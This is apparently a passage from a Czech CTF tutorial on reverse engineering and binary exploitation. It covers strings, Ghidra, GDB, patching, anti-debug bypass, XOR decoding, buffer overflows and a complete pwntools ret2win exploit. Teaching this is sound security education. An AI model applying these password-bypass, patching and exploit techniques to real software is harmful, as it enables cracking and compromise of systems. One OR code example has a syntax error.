Rust má pověst jazyka se strmou křivkou učení — zejména borrow checker může zpočátku frustrovat. Ale jakmile si zvyknete, získáte nástroj, ve kterém jde psát systémový kód s mnohem větším klidem, než jaký vám dá C nebo C++.
Pokud se chcete naučit Rust pořádně, doporučuje se oficiální kniha The Rust Programming Language (zdarma) a interaktivní cvičení Rustlings.
Reverse Engineering
Co je reverse engineering?
Reverse engineering (zpětné inženýrství) je proces analýzy již existujícího programu s cílem porozumět jeho vnitřnímu fungování. V praxi často pracujeme se zkompilovanými binárními soubory bez dostupného zdrojového kódu; pokud je však zdrojový kód k dispozici, lze jej při analýze využít.
V rámci analýzy se snažíme odhalit například:
- funkce programu a jejich chování
- konstanty a statické hodnoty
- strukturu a obsah datových segmentů
- případné ladicí (debug) informace
Kde se reverse engineering používá?
Reverse engineering se uplatňuje především v oblasti kybernetické bezpečnosti, kde slouží k analýze škodlivého kódu (malware) a k identifikaci zranitelností v programech. Dále se využívá v herním průmyslu (modding, analýza herních mechanik) a v softwarovém vývoji, například při porozumění legacy kódu bez dokumentace.
Capture the Flag
Významné zastoupení má reverse engineering v CTF (Capture The Flag) soutěžích, kde tvoří jednu ze základních kategorií. Úlohy typicky spočívají v analýze poskytnuté binárky s cílem získat flag, například obejitím autentizační logiky nebo pochopením mechanismu generování klíče a jeho reprodukcí na vzdálené instanci.
Nástroje
K reverse engineeringu se používá řada specializovaných nástrojů. Základní dělení je následující:
Dekompilátory (a disassemblery)
Tyto nástroje slouží ke statické analýze binárního kódu. Disassembler převádí strojový kód na instrukce v assembly, zatímco dekompilátor se snaží rekonstruovat kód na vyšší úrovni abstrakce (typicky pseudokód podobný jazyku C).
Zde je seznam často využívaných nástrojů:
- Ghidra
- Binary Ninja
- IDA
Debugger
Debugger umožňuje dynamickou analýzu programu – připojí se k běžícímu procesu a umožňuje řídit jeho vykonávání (execution), například krokovat instrukce, nastavovat breakpointy a inspektovat paměť a registry.
Známé debuggery:
- GDB (GNU Debugger)
- GEF (GDB Enhanced Features)
- pwndbg
Statická analýza
Statická analýza je technika reverse engineeringu, při které zkoumáme program bez jeho spuštění. Cílem je pochopit strukturu a logiku programu pouze na základě jeho binární podoby, či analýza jeho statických dat.
Mezi základní techniky statické analýzy patří:
- datová analýza
- dekompilace / disassemblace
Datová analýza
Strings
Mnoho programů obsahuje v binární podobě čitelné stringy. Ty mohou zahrnovat například:
- uživatelské zprávy
- chybové hlášky
- hesla nebo klíče
V Linuxu lze tyto řetězce snadno vypsat pomocí nástroje strings:
$ strings program
Ukázka výstupu:
$ strings program
What's the password?
ACCESS GRANTED
Wrong password!
Sup3rStr0ngP4ssw0rd123!
...
Z výstupu můžeme identifikovat zajímavé hodnoty. Pokud máme podezření na konkrétní pattern (např. flag v CTF), můžeme použít filtraci:
$ strings program | grep flag{
Další častý scénář je nalezení hesla přímo ve výpisu:
$ strings program | grep pass
Pokud program obsahuje heslo v plain textu, lze jej tímto způsobem snadno odhalit.
Praktická ukázka
$ ./program
What's the password? test
Wrong password!
$ ./program
What's the password? Sup3rStr0ngP4ssw0rd123!
ACCESS GRANTED
Pomocí strings jsme byli schopni odhalit správné heslo bez znalosti zdrojového kódu.
Dekompilace
Technika strings je jednoduchá, ale ne vždy funguje – citlivé hodnoty mohou být skryté nebo generované dynamicky. V takovém případě využíváme dekompilaci.
Dekompilace je proces převodu binárního kódu zpět do podoby vyššího jazyka (typicky pseudokód podobný C). K tomu lze využít nástroje jako Ghidra.
Základní postup v Ghidra
- Vytvoření projektu (File → New Project)
- Import binárky (File → Import File)
- Spuštění analýzy (Analyze)
- Otevření funkce
main
Ghidra zobrazí:
- assembly
- dekompilovaný pseudokód (C-like či Rust-like)
Ukázka dekompilovaného kódu
if (strcmp(input, "TajneHeslo123!") == 0) {
puts("ACCESS GRANTED");
} else {
puts("Wrong password!");
}
Z dekompilovaného kódu lze snadno odvodit:
- jak program pracuje
- jak probíhá kontrola vstupu
- jaká je správná hodnota (v tomto případě heslo)
Klíčová je funkce strcmp, která vrací 0 v případě shody. Program tedy porovnává vstup uživatele s pevně daným řetězcem.
$ ./program
What's the password? TajneHeslo123!
ACCESS GRANTED
Kdy použít statickou analýzu?
Statickou analýzu (zejména s využitím dekompilátoru) je vhodné použít ve chvíli, kdy problém nelze vyřešit pouhým nalezením vstupu. Typicky jde o situace, kdy je kontrolní logika implementována složitěji a hodnoty nejsou v binárce přímo uložené v čitelné podobě.
Mezi takové případy patří například:
- flag checkery – vstup je ověřován pomocí více kroků (např. transformace, XOR, hashování, kontrolní součty)
- keygen úlohy – program generuje nebo ověřuje klíč na základě určitého algoritmu
- obfuskovaný kód – hodnoty jsou záměrně skryté nebo rozdělené do více částí
- vícekroková validace – vstup prochází několika podmínkami, smyčkami nebo funkcemi
V těchto scénářích je potřeba pochopit samotnou logiku programu. Dekompilátor umožňuje rekonstruovat strukturu kódu (větvení, smyčky, funkce) a identifikovat, jakým způsobem je vstup zpracováván. Na základě toho lze buď odvodit správný vstup, nebo vytvořit vlastní řešení (např. keygen), které splní požadované podmínky.
Dynamická analýza
Dynamická analýza je technika reverse engineeringu, při které program spouštíme a sledujeme jeho chování za běhu. Na rozdíl od statické analýzy tak pracujeme s reálným execution flow, pamětí a registry.
Cílem je například:
- sledovat, jak program zpracovává vstup
- identifikovat rozhodovací body (podmínky)
- manipulovat běh programu
Nástroje
Pro dynamickou analýzu se používají debuggery. V této části budeme pracovat s GDB rozšířeným o GEF (GDB Enhanced Features).
GEF přidává:
- lepší výpis registrů
- přehlednější práci s pamětí
- užitečné zkratky pro reversing
Další velmi užitečné nástroje:
strace
$ strace ./program
Sleduje, jak program komunikuje s jádrem (syscalls).
ltrace
$ ltrace ./program
Zobrazuje volání knihovních funkcí (např. strcmp, printf, open).
Základy debugování
Spuštění programu v GDB:
$ gdb ./program
Spuštění programu:
gef➤ run
Breakpointy
gef➤ break main
gef➤ break strcmp
next vs step
gef➤ next # přeskočí funkce
gef➤ step # vstoupí do funkce
Registry
gef➤ info registers
Na Linuxu (x86-64, System V ABI):
rdi= 1. argumentrsi= 2. argumentrax= návratová hodnota
Výpis funkcí
gef➤ info functions
Disassemble
gef➤ disassemble main
Umožní zobrazit assembler kód funkce, což je základ pro pochopení větvení programu.
Ukázka: strcmp
Program často používá funkci strcmp pro porovnání vstupu:
if (strcmp(vstupUzivatele, "Klic_2026_x7!") == 0) {
puts("ACCESS GRANTED");
} else {
puts("Wrong password!");
}
Můžeme nastavit breakpoint na strcmp a program spustit:
gef➤ break strcmp
gef➤ run
Po zastavení programu zkontrolujeme registry. Na architektuře x86-64 se argumenty funkce předávají přes registry, přičemž:
- první argument je v registru
rdi - druhý argument je v registru
rsi
Ukázkový výstup může vypadat například takto:
gef➤ info registers
rax 0x0 0x0
rbx 0x7fffffffe1d8 0x7fffffffe1d8
rcx 0x7ffff7e2e6a0 0x7ffff7e2e6a0 <strcmp>
rdx 0x0 0x0
rsi 0x555555556004 0x555555556004
rdi 0x7fffffffe0f0 0x7fffffffe0f0
rbp 0x7fffffffe160 0x7fffffffe160
rsp 0x7fffffffe0d8 0x7fffffffe0d8
rip 0x7ffff7e2e6a0 0x7ffff7e2e6a0 <strcmp>
Samotné registry nám řeknou, kde se argumenty nacházejí. Obsah řetězců následně přečteme z paměti.
Čtení stringů z paměti
Obsah paměti lze zobrazit například takto:
gef➤ x/s $rdi
0x7fffffffe0f0: "test"
gef➤ x/s $rsi
0x555555556004: "Klic_2026_x7!"
To nám umožní přímo vidět:
- uživatelský vstup
- očekávanou hodnotu, se kterou se porovnává
Další možností je dump paměti po bytech:
gef➤ x/20bx $rdi
0x7fffffffe0f0: 0x74 0x65 0x73 0x74 0x00 0x41 0x41 0x41
0x7fffffffe0f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe100: 0x00 0x00 0x00 0x00
Tento přístup je užitečný zejména tehdy, když data nejsou čistý string, ale například pole bajtů, binární buffer nebo částečně zakódovaná hodnota.
Jumping
Debugger umožňuje změnit execution flow programu. To znamená, že můžeme ručně přeskočit část kódu a pokračovat od jiné instrukce.
Například po analýze disassemblovaného kódu zjistíme, že adresa 0x401234 odpovídá větvi, která vypisuje ACCESS GRANTED. Poté lze provést:
gef➤ jump *0x401234
Tím se změní instrukční pointer (rip) a program začne vykonávání od zadané adresy.
Jumping je užitečný například tehdy, když:
- chceme přeskočit neúspěšnou větev programu
- chceme otestovat konkrétní blok kódu bez splnění všech podmínek
- chceme rychle ověřit, co daná větev dělá
Je však potřeba opatrnost: skok do nesprávného místa může narušit stav programu. Pokud cílový blok očekává určité registry, zásobník nebo inicializovaná data, program může spadnout nebo se chovat nepředvídatelně.
Patching
Patching znamená úpravu instrukcí programu. Lze jej provádět buď dočasně za běhu, nebo trvale přímo v binárce.
Dočasný patch v debuggeru
Jednoduchý příklad je přepsání instrukce pomocí NOP (No Operation), čímž efektivně odstraníme část kódu:
gef➤ set {char}0x401220 = 0x90
Instrukce 0x90 na x86 odpovídá NOP. Pokud takto přepíšeme například podmíněný skok nebo část kontroly, program může pokračovat bez validace.
Praktický význam
Patching se používá například tehdy, když chceme:
- odstranit kontrolu hesla
- obejít podmíněný skok
- změnit chování programu při testování
- ověřit hypotézu o významu konkrétní instrukce
Techniky a tipy
V rámci reverse engineeringu se lze setkat s širokou škálou transformací dat, bitových operací, jednoduchých šifer, validačních smyček i obranných mechanismů, jako jsou anti-debug techniky nebo self-checky. Cílem této kapitoly je shrnout nejčastější techniky, se kterými se lze v CTF a jednoduchých crackme úlohách setkat, a ukázat praktické způsoby jejich analýzy.
Bitové operace
Bitové operace patří mezi nejběžnější techniky používané při úpravě vstupu. V binárce se často objevují jako součást jednoduchého „šifrování“ nebo transformace dat před porovnáním.
Nejčastější operace jsou:
+a-nad bajty&(AND)|(OR)^(XOR)- bitové posuny
<<a>>
Při analýze je důležité pamatovat na to, že se často pracuje pouze s jedním bajtem, tedy v rozsahu 0x00 až 0xff.
V jazyce C dochází při práci s typem char nebo unsigned char k implicitnímu přetečení (wrap-around). V jazycích jako Python je však nutné toto chování simulovat explicitně, typicky pomocí maskování & 0xff.
Sčítání nad bajty
Příklad transformace:
out[i] = input[i] + key;
Reverzní operace:
cipher = [0x81, 0x75, 0x83, 0x84]
plain = ''.join(chr((b - key) & 0xff) for b in cipher)
print(plain)
Odčítání nad bajty
out[i] = input[i] - key;
Python:
cipher = [0x74, 0x62, 0x6f, 0x64]
plain = ''.join(chr((b + key) & 0xff) for b in cipher)
print(plain)
AND
Operace AND se používá pro maskování bitů:
out[i] = input[i] & key;
Python:
data = [0xf4, 0xe5, 0xf3, 0xf4]
masked = ''.join(chr(b & key) for b in data)
print(masked)
Je třeba počítat s tím, že AND bývá částečně nevratná operace - pokud maska maže bity, původní hodnotu již nemusí být možné jednoznačně rekonstruovat.
OR
out[i] = input[i] | key;
Python:
data = [0x41, 0x42, 0x43]
result = ''.join(chr(b | key for b in data)
print(result)
Tato operace se často používá například pro převod velkých písmen na malá.
Bitové posuny
out[i] = input[i] << key;
Python:
data = [0x21, 0x22, 0x23]
shifted = [(b << key) & 0xff for b in data]
print([hex(x) for x in shifted])
Při zpětné rekonstrukci je nutné dávat pozor na ztrátu bitů při přetečení.
XOR
XOR je natolik častý, že si zaslouží samostatnou sekci. V reverse engineeringu se používá pro jednoduché zakrývání řetězců, kontrolu vstupu i lehkou obfuskaci.
Základní vlastnost XOR:
a ^ b ^ b = a
To znamená, že stejnou operací lze data jak zakódovat, tak dekódovat.
XOR s jedním klíčem
cipher = [0x35, 0x2c, 0x21, 0x26]
key = 0x42
plain = ''.join(chr(b ^ key) for b in cipher)
print(plain)
XOR nad hex polem
cipher = [0x10, 0x23, 0x37, 0x55]
key = 0x41
decoded = [b ^ key for b in cipher]
print(decoded)
print(''.join(chr(x) for x in decoded))
XOR nad stringem
text = "hello"
key = 0x20
encoded = bytes([ord(c) ^ key for c in text])
print(encoded)
print(''.join(chr(b ^ key) for b in encoded))
XOR se opakujícím se klíčem
cipher = bytes([0x27, 0x2a, 0x3f, 0x39, 0x24])
key = b"key"
plain = bytes(cipher[i] ^ key[i % len(key)] for i in range(len(cipher)))
print(plain)
V CTF se velmi často objevuje právě opakující se klíč nebo jednoduchý jednobajtový XOR.
Obvyklé šifry
V jednoduchých reversing úlohách se pravidelně objevují i klasické substituční nebo posunové šifry. Obvykle nejde o skutečně bezpečné šifrování, ale spíše o překážku, kterou má řešitel rozpoznat.
Caesarova šifra
Každé písmeno se posune o pevný počet pozic.
def caesar_decrypt(text, shift):
out = []
for c in text:
if 'a' <= c <= 'z':
out.append(chr((ord(c) - ord('a') - shift) % 26 + ord('a')))
elif 'A' <= c <= 'Z':
out.append(chr((ord(c) - ord('A') - shift) % 26 + ord('A')))
else:
out.append(c)
return ''.join(out)
print(caesar_decrypt("Khoor", 3))
ROT13
ROT13 je speciální případ Caesarovy šifry s posunem 13.
def rot13(text):
out = []
for c in text:
if 'a' <= c <= 'z':
out.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= c <= 'Z':
out.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
else:
out.append(c)
return ''.join(out)
print(rot13("synt{grfg}"))
Atbash
Atbash převrací abecedu: a -> z, b -> y, atd.
def atbash(text):
out = []
for c in text:
if 'a' <= c <= 'z':
out.append(chr(ord('z') - (ord(c) - ord('a'))))
elif 'A' <= c <= 'Z':
out.append(chr(ord('Z') - (ord(c) - ord('A'))))
else:
out.append(c)
return ''.join(out)
print(atbash("uozt{gvhg}"))
Base64
Base64 není šifra, ale velmi často se v reversing úlohách objevuje jako forma kódování dat.
import base64
encoded = "ZmxhZ3t0ZXN0fQ=="
print(base64.b64decode(encoded).decode())
Při analýze je proto důležité rozlišovat mezi šifrováním, kódováním a prostou transformací dat.
Hashe
Dalším častým vzorem je porovnávání hashe místo přímého porovnání vstupu. Program například neukládá heslo přímo, ale porovnává md5, sha1 nebo sha256 zadané hodnoty.
Pokud binárka porovnává hash, obvykle existují tři možnosti:
- uhodnout nebo odvodit vstup z kontextu
- použít slovníkový útok / brute force
- patchnout validaci a obejít kontrolu úplně
V CTF bývá hash často použit jen jako jednoduchá překážka, nikoli jako skutečná ochrana.
Anti-debug
Některé programy se snaží detekovat přítomnost debuggeru a ukončit se, případně změnit své chování. Typické anti-debug techniky v Linux prostředí zahrnují například:
ptrace(PTRACE_TRACEME, ...)- kontrolu
/proc/self/status - časové kontroly
- self-checky nad vlastním kódem
Typický příklad:
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
puts("Debugger detected");
exit(1);
}
Jak anti-debug odhalit
Nejprve je vhodné hledat podezřelé funkce:
- ve statické analýze (
ptrace,getppid,clock_gettime) - v
ltracenebostrace - v seznamu funkcí v GDB
Například:
ltrace ./program
strace ./program
gef➤ info functions
Jak anti-debug obejít
Základní možnosti jsou:
- přeskočit kontrolní větev (
jump) - změnit návratovou hodnotu funkce
- patchnout podmínku nebo samotné volání
Praktický přístup v debuggeru bývá například:
- breakpoint na
ptrace - doběhnout za volání
- nastavit návratovou hodnotu na úspěch
gef➤ break ptrace
gef➤ run
gef➤ finish
gef➤ set $rax = 0
gef➤ continue
Pokud je kontrola provedena pouze jednou, tento postup často stačí. V opačném případě je vhodnější patchnout podmíněný skok nebo celé volání trvale.
Self-checky
Některé binárky kontrolují vlastní instrukce nebo checksum části kódu. To komplikuje patchování, protože každá změna může být detekována. V takovém případě bývá vhodné:
- patchnout samotnou kontrolu integrity
- přesměrovat tok programu za self-check
- analyzovat, která část je skutečně ověřována
Binary Exploitation
Co je to binary exploitation?
Binary exploitation (zkráceně pwn) je oblast kybernetické bezpečnosti, která se zaměřuje na zneužívání chyb v binárních programech (typicky psaných v C/C++). Cílem je získat kontrolu nad chováním programu, a spustit vlastní kód, obejít omezení či získat citlivá data.
Na rozdíl od reverse engineeringu, kde se snažíme program pochopit, u binary exploitation jdeme o krok dál: hledáme zranitelnosti a aktivně je využíváme.
Jaké chyby se využívají?
Nejčastěji jde o chyby související s pamětí, například:
- buffer overflow
- use-after-free
- double free
- out-of-bounds přístupy
Tyto chyby vznikají často kvůli:
- absenci kontroly délky vstupu
- manuální práci s pamětí
- nedostatečné validaci dat
Buffer Overflow (koncept)
Co je buffer overflow?
Buffer overflow (přetečení bufferu) je zranitelnost, ke které dochází, když program zapisuje více dat do paměťového bufferu, než kolik je pro něj alokováno.
Vizualizace
Představ si buffer o velikosti 8 bytů:
[ A A A A A A A A ]
Program ale zapíše 12 bytů:
[ A A A A A A A A | B B B B ]
Tyto extra hodnoty (B) přepíšou další data v paměti.
Proč je to problém?
Paměť programu není izolovaná po „logických blocích“, ale je lineární. To znamená, že:
- vedle bufferu mohou být důležité hodnoty
- může dojít k přepsání proměnných
- v některých případech i návratové adresy funkce
To umožňuje útočníkovi ovlivnit chování programu.
Typické příklady v C
V praxi buffer overflow často vzniká při práci s funkcemi, které nekontrolují délku vstupu, nebo jsou použity nesprávně.
gets
char buffer[8];
gets(buffer);
Funkce gets vůbec nekontroluje délku vstupu, a proto je z principu nebezpečná.
fgets se špatnou velikostí
char buffer[8];
fgets(buffer, 64, stdin);
fgets je sama o sobě bezpečnější, ale pouze tehdy, pokud je předaná správná velikost bufferu. Zde program tvrdí, že může číst až 64 bytů do bufferu o velikosti 8 bytů.
strcpy
char buffer[8];
strcpy(buffer, "AAAAAAAAAAAAAAAA");
strcpy kopíruje data až do konce řetězce a neověřuje, zda se vejdou do cílového bufferu.
strcat
char buffer[8] = "ABC";
strcat(buffer, "DEFGHIJK");
strcat připojuje další data na konec existujícího řetězce. Pokud není v bufferu dostatek místa, dojde k přetečení.
sprintf
char buffer[8];
sprintf(buffer, "%s", "AAAAAAAAAAAA");
sprintf zapisuje formátovaný výstup bez omezení délky. Pokud výstup přesáhne velikost bufferu, dojde k přepisu paměti.
read
char buffer[8];
read(0, buffer, 32);
Nízkourovňové funkce jako read dávají programátorovi plnou kontrolu nad počtem čtených bytů. Pokud tento počet neodpovídá velikosti bufferu, vzniká overflow.
scanf bez omezení délky
char buffer[8];
scanf("%s", buffer);
Formát %s čte vstup až do whitespace, ale bez omezení délky. Bez specifikace maximální šířky je tak použití potenciálně nebezpečné.
memcpy
char buffer[8];
char src[32] = {0};
memcpy(buffer, src, 32);
memcpy kopíruje přesně zadaný počet bytů. Pokud programátor předá větší délku, než jakou má cílový buffer, dojde k přetečení.
Tyto funkce nejsou vždy samy o sobě „špatné“, ale při nesprávném použití velmi snadno vedou ke vzniku zranitelnosti.
Co lze přepsat?
V závislosti na kontextu může overflow ovlivnit například:
- sousední proměnné
- ukazatele
- struktury
- řídicí data (např. návratová adresa)
Stack vs Heap
Buffer overflow se může objevit na různých místech:
- stack overflow – přetečení lokální proměnné ve funkci
- heap overflow – přetečení dynamicky alokované paměti
Důležité poznámky
- Ne každý overflow je exploitatelný
- Moderní systémy mají ochrany (ASLR, NX, stack canary)
- Přesto jde o jednu z nejdůležitějších tříd zranitelností
Shrnutí
Buffer overflow je situace, kdy program zapíše více dat, než kolik buffer pojme, a tím přepíše sousední paměť. To může vést k chybám programu nebo k jeho plnému ovládnutí.
Stack (koncept)
Co je to stack?
Stack (zásobník) je oblast paměti používaná pro ukládání dočasných dat při běhu programu. Funguje na principu LIFO (Last In, First Out) – poslední vložená hodnota je první odebraná.
Používá se zejména pro:
- lokální proměnné funkcí
- návratové adresy
- ukládání registrů
Push / Pop
Základní operace nad stackem:
push– vloží hodnotu na stackpop– odebere hodnotu ze stacku
Stack frame
Každé volání funkce vytváří tzv. stack frame – blok paměti obsahující:
- lokální proměnné
- uložený base pointer (
rbp) - návratovou adresu
Důležité registry
Na Linuxu (x86-64):
rsp– stack pointer (ukazuje na vrchol stacku)rbp– base pointer (začátek stack frame)rip– instruction pointer (kam se pokračuje v kódu)
Proč je stack důležitý pro exploitation?
Buffer overflow na stacku může přepsat:
- lokální proměnné
- uložený
rbp - návratovou adresu (return address)
To je klíčové, protože instrukce ret vezme adresu ze stacku a skočí na ni.
De Bruijn sekvence (cyclic pattern)
Pro nalezení přesného offsetu při overflow se používá de Bruijn sekvence (cyclic pattern).
Výhoda:
- žádný podřetězec se neopakuje
- lze přesně určit pozici v bufferu
Generování (pwntools):
$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabe...
Crash a nalezení offsetu
Spustíme program v GDB a pošleme pattern:
gef➤ run
Input: <cyclic pattern>
Po pádu programu:
gef➤ x $rsp
0x7fffffffd708: 0x6161616f
Hodnota 0x6161616f je část našeho patternu.
Zjistíme offset:
$ cyclic -l 0x6161616f
56
Tento výstup znamená že stack offset je 56.
Stack padding
Abychom například změnili návratovou adresu, musíme vyplnit buffer přesně správným množstvím dat:
payload = b"A" * 56 + p64(addr)
A * 56→ paddingp64(addr)→ adresa v paměti
Shrnutí
- stack ukládá data funkcí (proměnné, návratové adresy)
- overflow může přepsat návratovou adresu
retinstrukce použije hodnotu ze stacku jako novýrip- de Bruijn sekvence pomáhá najít přesný offset
- stack padding umožňuje přesně zasáhnout cílová data
Return 2 Win
Co je ret2win?
ret2win je jedna z technik binary exploitation. Princip je jednoduchý: přepíšeme návratovou adresu tak, aby program po vykonání instrukce ret skočil do již existující funkce, která pro nás udělá „výherní“ akci.
Typicky jde o funkci jako:
winprint_flagget_shell
Tato technika je velmi častá v úvodních CTF pwn úlohách, protože dobře ukazuje základní princip ovládnutí toku programu.
Myšlenka útoku
Pokud máme stack overflow a známe správný offset k návratové adrese, můžeme payload sestavit takto:
payload = b"A" * stack_offset + p64(win_addr)
Význam jednotlivých částí:
b"A" * stack_offsetvyplní buffer až k návratové adresep64(win_addr)zapíše novou 64bitovou adresu, na kterou se má program vrátit
Po návratu z funkce tedy program neskočí zpět do původního místa, ale do funkce win.
V této kapitole zatím neřešíme PIE, takže adresy funkcí bereme přímo z ELF souboru.
Příklad
Máme binárku, která obsahuje zranitelnou funkci a zároveň někde vevnitř existuje funkce win:
void win() {
system("/bin/sh");
}
void vuln() {
char buffer[64];
gets(buffer);
}
Pokud gets umožní přepsat návratovou adresu, stačí program donutit vrátit se do win.
Nalezení adresy funkce
Pomocí pwntools lze načíst binárku jako ELF objekt:
from pwn import *
elf = ELF("./binary")
print(hex(elf.symbols["win"]))
Tím získáme adresu funkce win přímo ze symbolů ELF souboru.
Taktéž lze využít decompiler či debugger.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x1000 _init
0x1090 __cxa_finalize@plt
0x10a0 puts@plt
0x10b0 __stack_chk_fail@plt
0x10c0 printf@plt
0x10d0 close@plt
0x10e0 read@plt
0x10f0 open@plt
0x1100 _start
0x1130 deregister_tm_clones
0x1160 register_tm_clones
0x11a0 __do_global_dtors_aux
0x11e0 frame_dummy
0x11e9 main
0x12a8 win
Sestavení payloadu
Po nalezení offsetu a adresy funkce sestavíme payload přesně v tomto tvaru:
stack_offset = 72
payload = b"A" * stack_offset + p64(elf.symbols["win"])
To je základ celé techniky ret2win.
Kompletní payload
from pwn import *
elf = ELF("./binary")
io = process("./binary")
stack_offset = 72
payload = b"A" * stack_offset + p64(elf.symbols["win"])
io.sendline(payload)
io.interactive()
Tento exploit:
- spustí proces
- vytvoří správný payload
- pošle jej programu
- přepne se do interaktivního režimu
Pokud funkce win například spouští shell, získáme interaktivní shell. Pokud pouze vypisuje flag, uvidíme jej na výstupu.